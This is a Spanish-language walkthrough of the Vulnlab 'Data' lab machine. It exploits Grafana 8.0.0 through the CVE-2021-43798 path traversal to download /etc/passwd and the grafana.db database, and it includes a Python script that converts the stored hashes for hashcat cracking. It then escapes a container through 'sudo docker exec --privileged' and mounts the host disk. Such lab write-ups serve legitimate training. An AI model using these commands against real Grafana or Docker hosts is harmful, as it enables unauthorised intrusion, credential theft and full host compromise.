# Data - Writeup (Vulnlab)

## NMAP

```bash
sudo nmap --min-rate 4500 --max-rtt-timeout 1500ms -p- 10.10.117.3
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753994927406/62e28fc3-2d3f-460f-bb80-7d7845f57e99.png align="center")

## Investigando GRAFANA – Port 3000

Grafana es una potente herramienta de visualización de datos de código abierto, utilizada principalmente para monitorear y analizar datos de series temporales. Es popular en la industria por su capacidad para integrarse con una variedad de fuentes de datos y su interfaz de usuario intuitiva.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753994939647/6d0cbc35-c986-41ca-838b-97376f60b1b1.webp align="center")

## Buscando posibles CVE/Exploits.

Al pie de la imagen más arriba, en el login, se ve que la versión actual de Grafana es la ***v8.0.0***. Procedo a verificar si es vulnerable y con un simple googling encuentro el siguiente ***CVE-2021-43798*** y un exploit escrito en **GoLang**. Este CVE esta basado en la vulnerabilidad encontrada por el user **j0v**, y es un *Path Traversal*, con el cual nos va a permitir acceder a archivos como ***/etc/passwd*** o bajar directamente la base de datos.

> Reference –&gt; [https://github.com/taythebot/CVE-2021-43798](https://github.com/taythebot/CVE-2021-43798)

```bash
./exploit -target http://data.local:3000 -file /etc/passwd
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753994965067/f4e4510d-d43e-4de1-af42-0f97211b546a.png align="center")

Para bajar la base de datos, algo que suena interesante, el help del exploit indica el argumento “-dump-database”

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753994973595/1959f58e-81eb-482c-872f-050c9ddce5ab.png align="center")

Esto nos volcaría toda la db. Tenemos otro modo mas cómodo con curl y que cumple la misma función, eso si necesitamos ver el exploit lo que explota literalmente el path traversal para replicarlo manualmente, luego lo bajamos como archivo del siguiente modo:

```bash
curl -o grafana.db --path-as-is http://data.vl:3000/public/plugins/welcome/../../../../../../../../var/lib/grafana/grafana.db
```

Podemos abrir cómodamente el archivo .db con DB Browser for SQLite, un freeware tool gráfico, o usar el comando sqlite3. De cualquier modo, obtendremos lo siguiente:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753995003567/498f1eb2-4328-4b5a-844c-eaad1b384497.png align="center")

Luego de buscar un poco por internet, familiarizarme como es que realiza el encriptado para intentar crackearlo, verifico esta pagina completa de como explotar y luego crackear los hashes.

**Reference:** [https://vulncheck.com/blog/grafana-cve-2021-43798](https://vulncheck.com/blog/grafana-cve-2021-43798)

Los hashes son creados usando **PBKDF2-HMAC-SHA256** El cual puede ser crackeado por **HASHCAT**.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753995015355/c370625c-77e4-40df-9dbb-e6fa48ecc9d5.png align="center")

Siguiendo la lectura de la web, hay una porción de código que junto a los datos de la base que descargamos podríamos generar un formato de hash correcto para pasarlo a hashcat.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753995024673/d42a1a6c-2c6e-490a-84da-37e424c5b2b9.png align="center")

Adapto ese codigo a python3:

```python
#!/usr/bin/env python3
# _*_ CODING:UTF8 _*_
# by shkz

import sqlite3
import base64
import hashlib

# Connecting to DB
conn = sqlite3.connect('grafana.db')
cursor = conn.cursor()

cursor.execute("SELECT email, password, salt, rands FROM user WHERE login = 'boris'")
rows = cursor.fetchall()

# Writing to File: hashFile.txt
with open('hashFile.txt', 'w') as hash_file:
    for row in rows:
        email, password, salt, rands = row
        decoded_hash = bytes.fromhex(password)
        hash64 = base64.standard_b64encode(decoded_hash).decode('utf-8')
        salt64 = base64.standard_b64encode(salt.encode('utf-8')).decode('utf-8')
        hash_file.write(f"sha256:10000:{salt64}:{hash64}\n")
conn.close()
print("\nFile created: hashFile.txt\n")
```

Ejecutando el codigo me lo formatea del siguiente modo:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753995110657/4c84a164-7143-4bae-82bb-5140b2b975af.png align="center")

## Crackeando con HASHCAT

Si verifico en la listas de ejemplo de hashcat: [https://hashcat.net/wiki/doku.php?id=example\_hashes](https://hashcat.net/wiki/doku.php?id=example_hashes). Logro identificar nuestro objetivo:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753995119954/65db59be-1eb0-4974-8954-b7a6b3416156.png align="center")

Crackeamos el archivo hashFile.txt creado con la info del usuario **BORIS** de la db:

```python
hashcat -m 10900 hashFile.txt ~/w0rd/rockyou.txt
```

> Luego de unos segundos, **Cracked!**:
> 
> ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753995147230/9030e537-73e8-4a20-8db9-8b91be657305.png align="center")

## USER: Boris and PrivESC

Una vez que estoy como Boris, solo resta hacer cat al ***user.txt*** y obtener la **flag**.  
Como es costumbre, verifico el sudo:

```python
sudo -l
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753995195385/bf0175de-8f85-4402-a4f8-be79982525a6.png align="center")

  

La salida de SUDO nos dice que podríamos ejecutar *<mark>docker exec </mark>*  como **ROOT**.  
Luego de revisar el host, las conexiones y demás.. noto que claramente estoy dentro de un contenedor. En principio mediante el LFI había conseguido el **/etc/passwd** , en donde entre esa lista de users existía **grafana**:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753995204844/578567b4-c5bd-4a59-b5ac-98dc7e634275.png align="center")

Si vuelvo al exploit y trato de verificar el nombre del contenedor:

```python
./exploit -file /etc/hostname -target http://data.vl:3000

--> e6ff5b1cbc85
```

Luego de saber esto estoy listo para ser root del container:

```python
sudo docker exec -it --privileged -u root e6ff5b1cbc85 sh
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753995413387/e8d87380-caec-48f8-86f7-ffeb19630971.png align="center")

Verifico los discos:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753995422223/89788370-86af-4231-a97f-1668ee5f4682.png align="center")

  

Monto el disco xvda1 a una carpeta en **/mnt/testing**, y finalmente leo la flag de **root/root.txt**:

```python
mkdir -p /mnt/testing
mount /dev/xvda1 /mnt/testing/
cat root/root.txt
```

**Pwn3d!**
